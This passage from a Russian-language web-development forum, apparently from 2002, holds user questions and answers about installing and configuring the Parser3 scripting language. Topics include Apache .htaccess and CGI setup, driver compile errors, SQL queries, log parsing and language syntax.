Action parsed3-html /cgi-bin/parser3.cgi\
\
DirectoryIndex index.htm\
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>\
\
теперь самое интересное, .htaccess в папке /cgi-bin/ :\
\
Options +ExecCGI\
\
AddHandler cgi-script .cgi\
\
Всё."
"10384","почему парсер не обрезает пробелы на концах строк?\
так задумано что-ли?\
\
получается иногда, что он не может найти файл типа \
'/home/sites/sitexx/web/operators.p ' (пробел!)\
:)))"
"10385","если ты имеешь ввиду строки с @USE @CLASS и т.п.\
\
Если тебе надо обрезать произвольную строку, то в http://www.parser.ru/examples/lib/ есть оператор ^trim ..."
"10386","Странное дело, пытаюсь собрать драйвер для Oracle под linux - \
в процессе сборки вылетает с ошибочкой. В чем может быть дело?\
Может кто поделится рабочим драйвером под линукс для Oracle 9.\
\
[i]\
[tamboar1@db-srv oracle]$ make\
make  all-recursive\
make[1]: Вход в каталог `/home/tamboar1/sql/oracle'\
Making all in libltdl\
make[2]: Вход в каталог `/home/tamboar1/sql/oracle/libltdl'\
make[2]: Цель `all' не требует выполнения команд.\
make[2]: Выход из каталог `/home/tamboar1/sql/oracle/libltdl'\
make[2]: Вход в каталог `/home/tamboar1/sql/oracle'\
/bin/sh ./libtool --mode=compile g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl\
 -I/opt/oracle/app/product/9.0.1/rdbms/demo -I/opt/oracle/app/product/9.0.1/network/public    -g -O2\
 -c parser3oracle.C\
g++ -DHAVE_CONFIG_H -I. -I. -I. -I../../parser3/src/sql -I./libltdl -I/opt/oracle/app/product/9.0.1/\
rdbms/demo -I/opt/oracle/app/product/9.0.1/network/public -g -O2 -Wp,-MD,.deps/parser3oracle.pp -c p\
arser3oracle.C  -fPIC -DPIC -o parser3oracle.lo\
parser3oracle.C: In function `int pa_setenv(const char*, const char*, bool)':\
parser3oracle.C:80: invalid conversion from `const char*' to `char*'\
make[2]: *** [parser3oracle.lo] Ошибка 1\
make[2]: Выход из каталог `/home/tamboar1/sql/oracle'\
make[1]: *** [all-recursive] Ошибка 1\
make[1]: Выход из каталог `/home/tamboar1/sql/oracle'\
make: *** [all-recursive-am] Ошибка 2\
[/i]\
"
"10387","А вы не могли бы показать как должен выглядеть файл «menutop.cfg»"
"10388","что-то вроде этого:\
\
id  >>  name  >>   uri\
1  >>  раздел 1_1  >>  /1.html\
2  >>  раздел 1_2  >>  /2.html\
3  >>  раздел 1_3  >>  /3.html\
\
4  >>  раздел 2_1  >>  /4.html\
5  >>  раздел 2_2  >>  /5.html\
6  >>  раздел 2_3  >>  /6.html\
"
"10389","Уважаемый PAF, может вы всё таки добавите в новую версию Parser возможность загружать таблицы из файлов, с разными разделителями (указанными пользователем), а не только  tab????\
Просто я использую Парсер как обработчик всяких логов ну например, прокси серверов всяких…\
так вот прокси использует свой формат логов, так вот так как Парсер не читает по строкам файлы, то становится очень не удобно, да и вообще это уже давно надо было сделать !!!    \
"
"10390","сорри, что не в тему вопросик...\
\
поле содержит строки такого вида: ([1-9][0-9]*.)+\
короче числоточкачислоточкачислоточка...\
нужно написать select на mysql который например если задано 1.2.\
будет доставать \
1.3., 1.3.1., 1.3.2. ...\
1.4., 1.4.1., 1.4.2. ...\
1.5., 1.5.1., 1.5.2. ...\
...\
\
"
"10391","сорри...это ж просто...можно не отвечать"
"10392","Тут уже говорили, что Парсер для обработки логов не лучшее решение, тем не менее ...\
\
Решение может быть примерно таким [предполагаем, что разделитель полей у нас \"|\"]:\
[code]\
# Грузим файл в переменную\
  $logfile[^file::load[text;/path/to/file]]\
\
# Заменяем разделитель на табулятор\
# и грузим все это в таблицу\
  $repl[^table::create[nameless]{|	^#09}]\
  $log[^table::create[nameless]{^logfile.text.replace[$repl]}]\
[/code]\
\
Можно это как оператор оформить ..."
"10394","Вот такая проблема: в MySQL хранятся логины и криптованные пароли для нескольких сотен пользователей. Если кто-то из пользователей забыл свой пароль, то ему необходимо его выслать по почте в нормальном (не криптованном) виде. Можно ли каким-нибудь образом дешифрировать криптованный пароль из базы данных, или где тогда дополнительно хранить некриптованные пароли?"
"10396","Если использовалася функция PASSWORD, то расшифровать не удастся ... В таких случаях можно генерить новый пароль и высылать его пользователю. А уж если ему не понравится, то что ему сгенерировали - пусть меняет сам [например через форму на сайте].\
\
Пример генерации паролей на Парсер2: http://parser2.parser.ru/examples/example4.html"
"10397","RTFM: МайСиквельная функция password() специально задизайнена как односторонняя. Так что пусть юзвери при регистрации сообщают секретный вопрос и глупый ответ на него, а при утере пароля с них надо спрашивать тот самый ответ и высылать _новый_ пароль на мыло. Оглянись вокруг, все модные порталы именно так и делают."
"10398","вот переписал в оператор:\
[code]\
@transform_log[path][logfile;repl;log]\
^if($path is 'string'){\
$logfile[^file::load[text;$path]]\
$repl[^table::create[nameless]{|	^#09}]\
$log[^table::create[nameless]{^logfile.text.replace[$repl]}]\
$result[$log]\
}{Ошибка!Укажите имя файла!}\
[/code]\
\
когда сохраняю эту таблицу, получается только нулевой столбец и всё... проверяю по hex в редакторе сохранившеюсю таблицу, табуляции и в помине нет... а самое страное, что когда это таблицу ^log_table.menu{$log_table.0|_over} так вот _over появляется в самом конце,что означает, что как бы у таблицы одна строка.... не врубаюсь..."
"10399","надо так\
[code]\
$repl[^table::create[nameless]{|	^taint[^#09]}]\
[/code]"
"10400","похоже, что решение второго вопроса заключается в замене режима загрузки файла с text на binary ..."
"10401","вот такой код работает:\
[code]\
@transform_log[path][logfile;repl;log]\
  ^if($path is 'string'){\
     $logfile[^file::load[text;$path]]\
     $repl[^table::create[nameless]{|	^taint[^#09]}]\
     $log[^table::create[nameless]{^untaint[as-is]{^logfile.text.replace[$repl]}}]\
     $result[$log]\
  }{$result[nothing]}\
[/code]"
"10402","да он теперь всё заменяет, но в таблице всё равно одна строка когда её menu, а вот когда сохраняю в файл всё нормально, 0D 0A стоят там где нужно, да ещё чтолбец то один, а не столько сколко раделителей(ну -1)... \
вот вызов оператора:\
[code]\
$log_table[^transform_log[/ProxyPlus/Logs/AccessLog.TXT]]\
^if($log_table is 'table'){\
	^log_table.save[log_table.txt]\
	^log_table.menu{$log_table.0|_over}[<br>]\
	}{FIGNYA $log_table}\
[/code] \
 \
выводится без фигни:))))"
"10407","В парсере объекты живут до конца исполнения скрипта - возможности уничтожить объект во время исполнения нет. В этом случае деструктор просто не нужен."
"10408","я понимаю, что там локальные переменные у методов, ну все равно ведь они остаются в памяти! Ну например мы работаем просто с громадной таблицей, а потом нам нужно её flip[], ведь сколько на это памяти надо??? а так разработчик знает что это таблица ему больше не понадобится он раз и почикал...\
\
\
    "
"10409","Из скриптового языка Парсер превратится в язык общего назначения ... а оно надо? \
\
Для обработки больших объемов данных Парсер не годится - для этого СУБД существуют ..."
"10410","Как то PAF говорил, что возможно добавит в Парсер возможность хранить уже откомпилированный код в памяти, ну это в случае с модулем, то тогда без этого просто будет вообще ужас...\
а вот про язык, Парсер просто очень удобен, и его всегда хочется использовать по не назначению...:)))\
\
"
"10411","Хранится в памяти же будет именно код, а не результат его работы! И чем тут деструктор поможет?\
\
Более того: подобный подход будет порождать кучу неприятных ошибок - объекта нет, а обращение к нему в других модулях происходит [интерактивного отладчика-то нет] ... Для обхода этого прийдется городить кучу try'ев ... И как это скажется на производительности? ..."
"10412","Подскажите как в P||| производить конкатенацию строк?\
В частности на этом примере?"
"10413","Раньше, когда я писал на Perl, то подобным способом часто пользовался (>>file).\
При написании гостевых и комментариев – имхо, будет очень удобно. Эта задача часто встречается, и когда БД недоступна, эта функция очень помогла бы. Не нужно таблицу всю загружать, добавлять запись, и только потом сохранять. Единственное, что тут нужно быть аккуратнее в плане соответствия структуры данных. Но это уже проблема разработчика.\
\
Какие будут комментарии? \
"
"10414","ведь и в обыкновенных языках можно не удалять ничего... но возможность есть...\
а по поводу производительности, просто меньше памяти кушать будет, а что касается try'ев, просто кому надо будет сделать спортивный код тот будет возится, а кому не надо тот и будет писать как раньше не забивая себе голову,  а возможность мне кажется такая нужно... \
ну короче вот PAF выйдет на работу в понедельник, и посмотрим что он скажет на весь наш discussion...:))))\
"
"10417","А как насчет такого варианта?\
\
[code]\
@test_one[]\
$loading[^table::load[/testtab.cfg]]\
<table border=\"1\" width=\"100%\"><tr>\
^loading.menu{\
	^if(^loading.line[] == ^loading.count[] \\ 2){\
		<td>$loading.name</td></tr><tr>\
		}{\
		<td>$loading.name</td>\
		}\
	}\
</tr></table>\
[/code]\
\
Правда этот пример делит меню только на 2 части, и число строк должно быть четным... Зато и столбец id в таблице не нужен."
"10418","А почему не предусмотрена возможность использования оператора else if? Может кто-нибудь подскажет как и чем его заменить."
"10419","^if(условие){then}{else}\
вместо else вставляй еще один ^if и вперед\
[code]\
^if(условие){если верно\
}{иначе\
 ^if(условие){если верно}{иначе}\
}\
[/code]"
"10420","так ведь не очень удобно же"
"10421","Ты количество символов, которые надо набрать посчитай ... :) \
\
А если серьезно, то обычный if-else [в Парсере он и есть] вполне самодостаточен. Использование подобных конструкций [особенно если уровень вложенности больше 2] может приводить к трудноотлавливаемым ошибкам, да и читабельность кода резко падает."
"10422","Парсер собрал, работает. (проверял на test.html)\
Но как только включаю mysql ошибка в логах сервера:\
\
Premature end of script headers: parser3\
ld.so.1: /opt/apache2/cgi-bin/parser3: fatal: relocation error: file /opt/apache2/cgi-bin/lib/libparser3mysql.so: symbol __builtin_new: referenced symbol not found\
\
Помогите пожалуйста,"
"10423","возможно, дойдут руки и займусь.\
\
но про обработку парсером всяких логов скажу сразу: не дело это.\
perl куда более удобный для этого инструмент."
"10424","Можно ли ожидать, что Parser4 будет несовместим по синтаксису с Parser3.\
\
И еще несколько замечаний.\
\
Хотелось бы более расширенный и неприхотливый интерпритатор, а то даже нельзя в if операторах по привычки наставить пробелов:(\
\
И хотелось бы большую совместимость с синтаксисами других языков, примером может послужить возможность писать||неписать else в вышеупомянутом операторе, а то с этим упрощением начинается путаница:("
"10425","Очень удобно, особенно в свете вложенных if-ов. Только \"точку отсчета\" придумать надо. ;-)"
"10426","Все это обсуждалось еще в мае.\
\
> А почему авторы Parser3 неучли совместимость синтаксиса с предыдущей версией языка\
> Можно ли ожидать, что Parser4 будет несовместим по синтаксису с Parser3.\
Так удобнее.\
\
>Хотелось бы более расширенный и неприхотливый интерпритатор, а то даже нельзя в if \
> операторах по привычки наставить пробелов:(\
Не надо сравнивать ;-)\
Парсер живет в контексте страницы (а не наоборот как в PHP, Perl и прочия) - предложите, как отловить к чему относится некий \"\\s\\{\" - к if или это уже текст страницы?\
\
> И хотелось бы большую совместимость с синтаксисами других языков, примером может \
> послужить возможность писать||неписать else в вышеупомянутом операторе, а то с этим\
> упрощением начинается путаница:(\
См. выше.\
Это feature парсера. Ее надо принять за данность."
"10427","Здравствуйте!\
Как собрать драйвер к MySQL на FreeBSD?\
вот как ругается:\
\
make  all-recursive\
Making all in libltdl\
make: don't know how to make ../../parser3/src/sql/pa_sql_driver.h. Stop\
*** Error code 1\
\
Игорь."
"10429","Я искал в форуме - ничего не нашёл, может подскажешь ссылку или ключь поиска?\
\
"
"10430","Правда очень нехватает таких стандартов, как:\
!=\
||\
!\
==\
&&\
..\
будем уповать на дальнейшее проявление в парсере.\
Причина -- ну представьте себе ситуацию, когда делаеться страница, которыую генерит parser!!!, используеться sql, javascript и flash c actionscript -- и это все между собой взаимодействует(каково программисту). В этой термоядерной связке, только parser по синтаксису выбиваеться -- я не про скобки(они меня очень даже устраивают и они очень даже кстати -- легко определять где,что,чего), а вот когда пишеш ^if('xx' eq 'xxx') подсознательно вместо eq хочеться написать =="
"10433","в этом разделе:\
http://parser.ru/download/\
\
есть ряд бинарников. собирать подо все платформы на свете у нас нет сил.\
\
просьба собравшим под свои платформы поделиться с окружающими.\
\
для чего прислать мише ссылки на страницы, где можно скачать.\
мы положим их в раздел «скачать».\
"
"10434","Как организовать вывод на печать определенной формы с подстановкой данных из БД по нажатию кнопки?\
Заранее спасибо тому кто пожет, а так же сочуствующим и просто смотрящим :)"
"10435","1. собираешь форму - рисуешь юзеру.\
2. юзер жмет кнопочку \"принт\", к которой прикручено <form .... onSubmit=\"window.print()\">\
\
можно(если нужно) по-другому\
\
1. собираешь форму - рисуешь юзеру.\
2. юзер жмет кнопочку \"принт\"\
3. собираем страницу, быстро рисуем с встроенным <body onLoad=\"window.print()\">\
..."
"10436","Слишком сложные конструкции получаются, запутаться легко очень"
"10437","<body onLoad=\"window.print()\">\
\
только юзеру всё равно придётся нажать OK самому )))"
"10439","разместить информацию в раздел [url=\"http://parser.ru/hosters/\"]хостинги[/url]"
"10442","Я не понимаю, откуда взялась цифра 4???\
Кажется, из официальных лиц никто не заявлял о выходе кардинально новой версии.\
А насчет ждать - в CVS все есть уже давно. Нет только документации на нововведения. Как будет описание нового, так и скомпилим. Во всяком случае, от постоянных вопросов \"когда?\" быстрее оно не появится ;-)"
"10443","... а то земля слухами полнится :), вот и товарищ Дмитрий тему поднял про Парсер 4 ни с того, ни с сего, и никто его сразу не остановил из \"официальных лиц\". Теперь всё стало на свои места - будем ждать Парсер 3.х с нормальной докой ;-) по всем нововведениям. Удачи!"
"10444","Идея про v.4 позникла еще в момент \"раскрытия\" v.3. ;-)\
Такое ощущение, что пост Дмитрия просто возродился из прошлого (из мая) - там были именно такие вопросы ;-)))"
"10445","[code]\
@send_confirmation[from_email]\
^mail:send[\
	$.from[My Name <$from_email>]\
<..>\
]\
[/code]\
В версии .0001 это работало, но в .0005 не работает. Только непосредственное задание\
[code]\
$.from[My Name <my@email.net>]\
[/code]\
отрабатывается.\
\
Как можно наладить при отправке письма использование переменной?"
"10446","$from_email как бы глобальная переменная."
"10447","а что касается выхода именно 4'ой версии. Хоть идеи какие-нибудь есть? Стоит ли её ожидать и будут ли в ней работать написанные на P3 скрипты?"
"10448","Помогите решить проблему с установкой и настройкой Парсера на конкретном хостинге.\
Да, я выполнил все инструкции, указанные в документации. Выяснилось, что на этом хостинге запрещен ряд директив в .htaccess\
Исправил. Теперь тестовый файл _test.html и все прочие, идущие через парсер, ругаются по 404 ошибке \"файл не найден\". Я так понимаю, что не найден файл имеющий отношение к настройкам парсера, а какой - не пойму.\
Впрочем, может быть, он не находит самого парсера? А как это проверить?"
"10449","потому что там DOCUMENT_ROOT в небо смотрит.\
\
я как-то пытался там запустить Парсер - все бестолку...\
\
Правда, где-то на форуме, совсем недавно, PAF давал советы по \"выравниванию\" DOCUMENT_ROOT'а - поищи."
"10451","Уважаемые участники и просто посетители,\
\
Не подскажите как решить следующую проблему:\
\
1. имеется база с таблицей, где 'body' TEXT;\
2. из всего что написано в body надо выбрать только часть, а точнее, N символов (больше чем 255), но если последний символ оказывается в середине слова, то слово тоже захватывается.\
\
Это для того, чтобы делать введение, например, для новости. Выводятся первые несколько слов, а потом (...больше).\
\
Спасибо заранее.\
"
"10452","вытягивай весь текст целиком, а потом ^str.mid(1;сколько_надо)...\
"
"10453","1. что-то подсказывает мне, что ты не будешь выводить одновременно 237874 новости на страницу, поэтому не будет ничего страшного, если ты достанешь весь текст нескольких последних новостей и далее сделаешь с ним что надо парсером. Все-таки SQL не очень заточен для обработки текстов :)\
\
2. как показывает практика, очень нехорошо получается в общем случае делать это так... Лучше заведи еще одно поле, в которое будет вводиться \"анонс\" новости. а текст новости - это текст новости."
"10454","Люди у меня такой вопрос или даже предложение. Вот вы все, ну ладно большенство из вас используют для обозначения внутренних ссылок стандартные пути для всякой всячины прямо из корня сайта типа:\
[b]/css/style.css[/b]\
и т.п.\
\
Но с самого начала, еще давым давно я решил отказаться от такой системы.\
\
Чем она не удобна.\
Во первых мне кажется, что такие ссылки влияют на индексацию страниц, а во вторых сайт целиком и полностью зависит от ROOT'а\
\
Я же стал использовать немножко усложненную систему, хотя я к ней давно привык и пользуюсь по сей день.\
\
В начале кода каждой страници я создаю переменную скажем \
\
[b]$pathlevel = \"../../\";[/b]\
\
Ростаяние от мною созданного корня.\
И таким образом я ни сколько не завишу от прописанного на сервере ROOT, и могу скажем принадобности положить сайт в любую папку не меняя ROOT.\
\
Как вам это?, может я мало информирован и просто изобрел вилосипед:)\
"
"10455","Почему то все делаю по инструкции, но ничего не работает, хотя Виндузовская версия у меня на локалке пашет нормально."
"10456","и писать так:\
\
$rootDir[/]\
\
<a href=\"${rootDir}style/main.css\">что-то там</a>\
\
?\
я не люблю относительные урлы. но наверное каждому свое."
"10457","мне сайт нужно положить в папку не меняя рут, я что буду везде ссылки менять:)\
\
и у меня вопрос, влеяет л использование ссылок типа:\
[b]/news/[/b]\
на индексацию?"
"10458","Пауки ходят по всем доступным ссылкам. Им не важно, какая там адресация. Более того, стили они не подсасывают."
"10459","А у меня работает и не виндовая версия...\
Да и виндов у меня нет..."
"10462","Хорошо смеяться...\
А тем временем мне очень нужно чтобы заработало. Грузится основной html (титлы там всякие и т.д.), а там  \
^header[] ^body[] ^downborder[] ^downmenu[], т.е. не работате почему-то,\
а когда пробую загрузить /cgi-bin/parser3.cgi выдает 500 - Внутренняя ошибка сервера\
\
Как быть?"
"10463","Нашел и выполнил то, что там написано: создал файлик parser3.sh с таким содержанием:\
\
#!/bin/sh\
DOCUMENT_ROOT=/home/имядомена.com1.ru/\
./cgi/parser3.cgi\
exit 0\
\
перевел на него все html (в .htaccess):\
\
Action parsed-html /cgi-bin/parser3.sh\
\
Установил на файлы нужные права 755 и 644. Проверил - опять 404 ошибка.\
\
Поучите меня, глупого, как побороть Агаву? Их техподдержка пока молчит на мой вопрос о том, как у них сделан DOCUMENT_ROOT"
"10464","Где поподробней, чем http://parser.ru/docs/lang/stringlit.htm, можно узнать об использовании/неиспользовании служебных символов. \
Дело в том, что при копировании кусков HTML методом copy/paste, в одних случаях ':', ';' и.т.п. нормально остаются в output-е, иногда \"проглатываются\", а иногда и вообще ошибка возникает."
"10466","какой url не найдет-то?\
только не копируйте тот, что вы запрашиваете, скажите, наконец, что вы видите в error_log."
"10467","Попытался вытягивать из базы [b]n[/b] случайных неповторяющихся записей. Сначала попытался сделать все это с помощью $.limit(n) $.offset(n-1), вот так:\
[code]\
@crhist[n][temp,n1,h1,present,i,i1,cnt]\
$hist[^table::create{name	date	author	body\
}]\
$cnt(^int:sql{select count(*) from history})\
$h1[^hash::create[]]\
^for[i](1;$n){\
	$present[true]\
	^while($present eq true){\
		$n1(^math:random($cnt)+1)\
		$present[false]\
		^for[i1](1;^h1._count[]){\
			^if($n1==$h1.$i1){$present[true]}\
		}\
	}\
	$h1.$i($n1)\
	$temp[^table::sql{\
		SELECT name, date, author, body\
		FROM history\
	}[$.limit($n1) $.offset(^eval($n1-1))]]\
	^hist.join[$temp]\
}\
[/code]\
\
..но так в переменную $temp попадало больше одной записи. Но здесь limit и offset работали некорректно, и в итоге все пришлось переделать до вот этого состояния:\
[code]\
@hist[n][temp,h1,present,i,i1,cnt]\
$hist[^table::create{name	date	author	body\
}]\
$cnt(^int:sql{select count(*) from history})\
$h1[^hash::create[]]\
^for[i](1;$n){\
	$present[true]\
	^while($present eq true){\
		$temp[^table::sql{\
			SELECT id, name, date, author, body\
			FROM history\
			ORDER BY RAND()\
		}[$.limit(1)]]\
		$present[false]\
		^for[i1](1;^h1._count[]){\
			^if($temp.id==$h1.$i1){$present[true]}\
		}\
	}\
	$h1.$i($temp.id)\
	^hist.join[$temp]\
}\
[/code]\
\
Почему так, а не иначе?\
Кстати есть в Parser булевой тип данных?"
"10468","Не сочтите за тупицу, просто я больше не очень хорошо знаком именно с настройками серверов. Админ наш говорит, что все должно работать в cgi-bin."
"10469","Переменную $rootpath[/] определяешь только один раз в корневом auto.p Перенёс сайт в подкаталог, исправишь $rootpath например таким образом: $rootpath[/folder1] и всё! Правишь только одну строчку и готово. Отностельные ссылки нужны если ты делаешь странички и у тебя нет web-сервера (но сервер то у тебя надеюсь есть ;-)), но и то там тоже можно через java-script завести переменную, в которой можно хранить root (типа c:\\my_first_ste\\)\
А с этими ../../../../ и т.д. только больше путанцы.\
Миша тебе самое правльное решение сразу предложил!!!"
"10470","Я клещами вытягивать ничего не собираюсь.\
И угадывать тоже.\
Или давайте полную информацию о действиях и ошибках, или..."
"10471","hash не может содержать дублирующихся ключей. м.б. ^hash::sql?"
"10472","Когда вбиваешь полный url до Парсера (../cgi-bin/parser3.cgi), то в error.log отдает строку: дата и время и Parser/3.0.0005, а вбраузер отдает ошибку 500\
\
Когда индекс вызываешь - то ничего в error.log не пишет"
"10473","1. это в msie вы видите «[x] user friendly http messages».\
такая дрянь на белом фоне с иконкой, right? оно и есть.\
\
просьба: делать copy/paste ошибки, а не пересказывать их.\
\
2. если в ошибку ничего не пишется, значит всё хорошо.\
вы пишете очень понятное «не работает почему-то». пожалуйста, разъясните, что вы этим имеете в виду. возможно, вы ожидаете, что лампочка на CD-ROM загорится?"
"10474","Да Боже упаси! Ничего я не скрываю, просто и сам этого в логах не вижу (очки протирал пять раз;-)\
\
Вот последняя строчка из script-log:\
\
[Mon Dec  9 18:21:27 2002] Parser/3.0.0005\
\
Все предыдущие такие же, причем я так и не понял, когда парсер их выдал, просто не обратил внимания, в результате каких моих (вчерашних) действий. Сегодня там пусто.\
\
В error-log просто пусто! Кстати, надо бы Агаву допросить на этот счет...\
\
В access-log после ошибок примерно так:\
\
\"212.45.5.6\" \"10/Dec/2002:15:05:15 MSK\" \"GET http://мойдомен/_test.html HTTP/1.0\" \"302\" \"0\" \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Q312461; Hotbar 3.0)\"\
\
Кстати, Агава после этого выдает 404 ошибку, а логе она 302...\
\
Могу сообщить конкретный домен - но это уже личным письмом. Поможете?"
"10475","нажмите насильное обновление страницы, чтобы не было 302.\
что в логе?\
\
[если в логе ошибки нет, то дальше проблемы к parser отношения не имеют]"
"10476","Пишу в индекс html:\
\
<html>\
<head>\
<title>ПИОНЕРСКИЙ ЛАГЕРЬ.</head>\
<body>\
<link rel=stylesheet type=\"text/css\" href=\"/style.css\">\
<div align=\"center\">\
^header[]\
^body[]\
^downborder[]\
^downmenu[]\
</div>\
</body>\
</html>\
и т.д. в auto.p\
\
В браузере выводится title и пустой экран с ^header[] ^body[] ^downborder[] ^downmenu[] и все, т.е. не хочет интерпретировать\
\
В .htaccess пишу:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
\
\
\
"
"10477","Надо создать раздел приколов на Parser'e :)))))))))).\
\
Дааа, поизвращался я оказывается над парсером, так вот итог треда и решение проблем:\
[code]\
@crhist[n]\
$hist[^table::sql{\
	SELECT name, date, author, body\
	FROM history\
	ORDER BY RAND()\
}[$.limit($n)]]\
[/code]\
\
Причем в голову пришло сразу после намека от Лужниковского. Я пытался еще раз объянить вопрос и....посмеялся над собой :))).\
Смейтесь! :))"
"10478","... но это только в качестве идеи (по быстродействию не знаю будет ли быстрее - не проверял) и сам прмер Sql-запроса написал на Access-овском диалекте SQL - т.ч. потребуется немного адаптровать его к MySQL или к чему там вам надо. Идея простая - отбираем записи из базы и делаем ещё одно вычисляемое поле (используем функцию RND и в качестве параметра передаём например значение поля id - иначе если вызывать только Rnd() без параметра, то получим столбец одинаковых значений) и упорядочваем по RND - всё остальное получается в разнабой. Осталось только взять нужное кол-во первых записей.\
\
[code]\
SELECT [id],[name], Rnd([id]) AS x1\
FROM tab1\
ORDER BY Rnd([id]);\
[/code]\
\
Ещё раз предупреждаю: насколько это будет быстро работать не знаю, но в принце для небольших таблиц должно работать нормально."
"10481","Когда вбиваешь полный url до Парсера ([b]../cgi-bin/parser3.cgi[/b]), то в error.log отдает строку: дата и время и Parser/3.0.0005, а вбраузер отдает ошибку 500\
\
или\
\
AddHandler parsed-html html\
Action parsed-html [b]/cgi-bin/parser3/parser3.cgi[/b]\
"
"10483","Здесь все нормально - написал старую версию. Пробовал и так и так.\
\
Action parsed-html /cgi-bin/parser3.cgi и лежит файл parser3.cgi в cgi-bin\
"
"10484","ваш .htaccess игнорируется. проверьте, как этот файл должен называться. помню, в demos любили называть его «htaccess», без точки.\
\
почитайте про ваш хостинг в его документации.\
\
напишите в этот файл команду bug, и пока не начнёт разваливаться, не возвращайтесь :)"
"10485","так и получилось, что в конфиге у апача не прописано разрешение использовать .htaccess\
Теперь все заработало"
"10486","Дело в том, что при возникновении ошибки мне хотелось бы оставить дизайн сайта таким, какой он всегда, для этого мне надо вытягивать некоторую информацию из базы.\
Но проблема в том, что когда я в методе @unhandled_exception устанавливаю соединение с БД, то мне выдается сообщение $SQL:drivers table must be defined.\
\
Так можно ли вообще в методе @unhandled_exception установить соединение с базой?"
"10488","в этом методе можно только осуществлять предсмертные хрипы, а не бегать на 100 метров.\
\
если хотите красиво, сделайте \
[code]\
@main[]\
^try{\
 …\
}{\
 $exception.handled(1)\
 вы знаете, …\
}\
[/code]"
"10490","почему так происходит, можно почитать вот здесь: http://www.parser.ru/docs/lang/params.htm\
(последний абзац)\
\
если вариант с \"[b]^;[/b]\" не устраивает, существует более элегантное решение - [url=\"http://parser.ru/forum/?id=7758\"]вынести код в отдельный метод[/url]. "
"10491","Итак, об установке Парсера на Мастак.ру.\
\
Скажу сразу, речь идёт об \"обычном\" (не dedicated) хостинге на американской площадке Мастака.\
Там у них установлен, если не ошибаюсь, Linux Red Hat 7.2 (Enigma).\
\
Дык вот, готорый бинарник с parser.ru сразу не подошёл, проблема с группой (атрибут group) у файлов. После перекомпиляции с --enable-foreign-group-files парсер стал ругаться на какую-то динамическую библиотеку (кажется GLIBC).\
Включил в конфиг опцию --disable-link-libstdcpp. Затем вылезла проблема с модулем src/types/pa_vtatus.C. По словам Уважаемого Автора, в сием модуле лежит какая-то страшно секретная недокументированная функция :) а Мастаковский компилятор ругался на какую-то (синтаксическую?) ошибку. Пришлось закомментировать целый кусок кода (который \"обёрнут\" директивой HAVE_GETRUSAGE). \
\
Хмм... не стал бы я утвержать, что являюсь гуру в GNU C++, посему дальнейшие действия и вовсе из области шаманства :)\
В общем при последующей компиляции gcc не мог найти файл gmime.h, посему я забрался в src/include/pa_config_auto.p и написал undef перед WITH_MAILRECEIVE (хотя по идее этот файл генерится конфигуратором автоматически).\
\
Последний раз make - и... вау! откомпилился! \
чтоб избавиться от debug info в бинарнике запустил strip parser3, потом переименовал в parser3.cgi.  Однако этим всё не закончилось... парсер прекрасно работал из shell'а, но категорически отказывался работать \"под апачем\". Не помню уже, куда \"подевалась\" ситуация, когда парсер таки запускался, но кричал \"parser already configured\", а чаще всего просто при обращении к htm'кам с парсер-кодом возвращался заголовок бинарника... Достаточно иметь IQ больше 50 ;), чтобы догадаться - апач считает парсер простым текстовиком, т.е. не запускает его, а читает. А если IQ больше 100 ;)), то можно догадаться положить в cgi-bin файл .htaccess со строчкой Options +ExecCGI. Всё. Работает.\
\
На эти околонаучные изыскания было потрачено чуть более 5 часов онлайн, что по ценам маздайного тулателекома будет равняться одному месяцу хостинга на Мастаке. А сколько нервов, моих, суппорта Мастака и Уважаемого Автора - не перечесть :)\
\
Теперь, пожалуй, напишу краткий user's manual по сборке и установке Parser3 на Мастаке.ру:\
\
1. Слёзно просим у суппорта Мастака shell-доступ.\
2. Если не дают, переходим к пункту 3.\
2а. В шелле грузим исходники с сайта parser.ru командой wget http://www.parser.ru/f/1/gde-to/tam/parser3xxxx.tar.gz\
2аа. Офигеваем от скорости скачивания и понимаем, что дома о таком канале можно только мечтать :)))\
2б. Комадуем: gzip -d parser3xxxx.tar.gz, tar -xf parser3xxxxx.tar\
2в. Удаляем parser3xxxxx.tar, чтобы не забивать место (его больше 10 мег может понадобиться).\
2г. Затем: cd parser3xxxx, ./configure --enable-foreign-group-files --disable-link-libstdcpp\
2д. Комментируем в src/types/pa_vstatus.C кусок, обрамлённый #ifdef HAVE_GETRUSAGE .... #endif.\
2е. Пишем undef перед WITH_MAILRECEIVE в src/include/pa_config_auto.p\
2ё. Командуем make... самое время помолиться кому-нибудь... :)\
2ж. Если так и не откомпилилось, то переходим к пункту 3.\
2з. Заходим в src/targets/cgi, командуем strip parser3, затем mv parser3 parser3.cgi\
2и. Кладём полученный parser3.cgi в папку web/cgi-bin\
2л. Переходим к пункту 4.\
3. Качаем http://mnc.mastak.com/files/parser3.cgi.gz (боюсь, скоро этот линк будет бит, тогда будет работать http://www.mynotescenter.com/files/parser3.cgi.gz)\
3а. Распаковываем WinRAR'ом локально и заливаем parser3.cgi в web/cgi-bin на вашем сайте.\
4. Туда же SQL-драйвер (в /lib), чарсеты (/charsets) и auto.p, который можно взять с сайта parser.ru.\
5. Создаём в web (\"корень веб-пространства\") файл .htaccess:\
\
AddHandler parsed3-html .htm .html\
Action parsed3-html /cgi-bin/parser3.cgi\
\
DirectoryIndex index.htm\
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>\
\
6. Создаём в web/cgi-bin файл .htaccess:\
\
Options +ExecCGI\
\
# На всякий случай\
AddHandler cgi-script .cgi\
\
7. Заливаем всё остальное (htm'ки, картинки, другие .p-файлы, etc.) \
8. Всё должно работать."
"10492","Я хочу делать, но не пойму как получать почту с сервера?\
\
Господа старожилы, прокомментируйте..."
"10494","Я попробовал вот так:\
[code]\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
 Order allow,deny \
 Deny from all \
</Files>\
\
RewriteEngine On\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteRule ^.*$ /index.html [L]\
[/code]\
